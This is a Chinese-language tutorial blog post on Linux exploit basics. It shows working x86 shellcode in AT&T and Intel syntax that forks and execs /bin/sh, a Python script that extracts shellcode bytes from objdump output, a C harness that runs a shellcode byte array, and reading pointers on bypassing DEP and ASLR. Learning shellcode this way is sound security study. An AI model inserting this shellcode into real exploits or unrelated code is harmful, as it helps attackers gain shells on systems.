linux上到shellcode编写和windows上略有不同,linux上的shellcode是通过系统调用来执行想要到功能的,
linux上exploit基础知识
。查看系统调用号
cat /usr/src/linux-2.6.38.8/arch/x86/include/asm/unistd_32.h
基本上小内核版本变化都不会改变系统调用号,所以可以放心大胆使用
#define __NR_restart_syscall 0#define __NR_exit 1#define __NR_fork 2#define __NR_read 3#define __NR_write 4#define __NR_open 5#define __NR_close 6#define __NR_waitpid 7#define __NR_creat 8#define __NR_link 9#define __NR_unlink 10#define __NR_execve 11.....
linux上到shellcode即可以用intel到汇编编写,也可以用AT&T到汇编编写,当然编译后都一样(都是x86指令集),链接器一样,但是汇编器不一样
Linux 汇编器:对比 GAS 和 NASM
http://www.ibm.com/developerworks/cn/linux/l-gas-nasm.html
http://bbs.chinaunix.net/thread-2093373-1-1.html
ASM 和 GAS 之间最大的差异之一是语法。GAS 使用 AT&T 语法,这是一种相当老的语法,由 GAS 和一些老式汇编器使用;NASM 使用 Intel 语法,大多数汇编器都支持它,包括 TASM 和 MASM。
所以编译时不能用nasm编译 AT&T 语法的文件,反之亦然。
======================================
用at&t语法的
.global _start_start: xor %eax,%eax or $2,%eax int $0x80 test %eax,%eax jnz next retnext: xor %eax,%eax push %eax #push $0x68736162 #/bin/bash #push $0x2f2f2f2f #push $0x6e69622f push $0x68732f6e #/bin/sh push $0x69622f2f mov %esp,%ebx #param2 push %eax push %ebx mov %esp,%ecx #param2 mov %eax,%edx #param3 or $0xb,%eax int $0x80
用GAS汇编器
as -o hello.o hello.s
要生成符号表
as --gstabs -o hello.o hello.s
链接器
ld -o hello hello.o
ld进行链接时加上 -s表示去掉符号
加上-static 参数静态编译,在这里,静态链接大小体积不变,因为这段汇编代码没有引用任何其他库,呵呵。
======================================
用intel语法的
global _start_start: xor eax,eax or eax,2;fork int 0x80 test eax,eax jnz next retnext: ;child process xor eax,eax push eax ;push 0x68736162 ;/bin/bash ;push 0x2f2f2f2f ;push 0x6e69622f push 0x68732f6e ;/bin/sh push 0x69622f2f mov ebx,esp ;param1 push eax push ebx mov ecx,esp ;param2 mov edx,eax ;param3 or eax,0xb int 0x80nasm汇编器nasm -g -f elf hello.asm -o hello.old -o hello hello.o
上面的两种汇编语言到语法差距细节就不说了,几个要注意到,注释不同,常数也不同(at&t前面还要加$),总之at&t的语法很诡异,
电脑资料
《linux上exploit基础知识》(https://www.unjs.com)。======================================
编译后,需要提取shellcode为二进制码
用到的反汇编工具
objdump --disassemble ./hello 简写 odjdump -d hello
objdump到反汇编是要识别文件格式的,如果是纯二进制代码比如引导区,则无法反汇编
错误如objdump: read_1_track.boot.o: File format not recognized
ndisasm -b 32 -e 0x74 hello |head -n 15
ndisasm的反汇编不需要识别文件格式,上面-e是反汇编起始偏移
即可以看到反汇编的代码包括字节码,但是如果shellcode较长,手抄还是有点麻烦
所以我写了个python小脚本生成
#!/usr/bin/env python# -*- coding: utf-8 -*# author: SAIimport osimport sysif len(sys.argv)!=2: print '%s shellcode_elfbin' % sys.argv[0] sys.exit(0)cmdline='objdump -d '+sys.argv[1]print cmdlinerl=os.popen(cmdline).readlines()shellcode=''for i in rl: cl=i.split('\t') if len(cl)==3: sl=cl[1].split(' ') for code in sl: if code!='': s='\\x'+code shellcode+=sprint 'char shellcode[]="%s";' % shellcodeprint 'shellcode size:%d' % (len(shellcode)/4)if shellcode.find('00')!=-1: print '0x00 is in shellcode'然后有时候我们直接从网上得到的shellcode需要测试,可以写个C程序测试
#include <stdio.h>#include <string.h>char shellcode[]="\x31\xc0\x83\xc8\x02\xcd\x80\x85\xc0\x75\x01\xc3\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\x89\xc2\x83\xc8\x0b\xcd\x80";int main(){ (*(void(*)()) shellcode)(); printf("size:%d\n",sizeof(shellcode)); return 0;}编译
g++ -g test.cpp -o test
反汇编可以用gdb调试观察shellcode是什么(gdb到si单步指令)
======================================
关于一些linux上漏洞利用的资料:
早期的绕过linux上dep的文章可以参考warning3写到《绕过Linux不可执行堆栈保护的方法浅析》以及axis的《Bypass Exec-shield Under Redhat》
主要思路就是return to libc(包括写got表),不过由于系统上库不同,所以可以return to libc中到库函数地址也不同,所以这种方法根本不适合真实到攻击,更别说现在还有aslr。
绕过ASLR到文章可以参考
《ASLR 绕过 2.6.17/20 Linux 在 Linux 上 No-executable 的堆栈空间绕过方法》
不过是针对2.6.17之前,主要思路是linux-gate.so没有aslr,但是在2.6.20后已经被补掉。
xfocus上那篇《突破ASLR保护和编译器栈保护》是利用环境变量到随机化地址可猜测来解决,实际攻击中能给程序传递环境变量?= =
关于堆到可以参考《HEAP/BSS的溢出》
http://blog.readnovel.com/article/htm/tid_666047.html
主要还是利用堆的双向链表操作,实际攻击中意义不大。
还有《缓冲区溢出攻击--检测,剖析与预防》这本书对linux的shellcode讲解很好(但是其他部分很一般,不值得买)
除此之外,对shellcode到编写还可以参考
《[科普]浅入浅出Liunx Shellcode》http://www.xfocus.net/articles/200805/980.html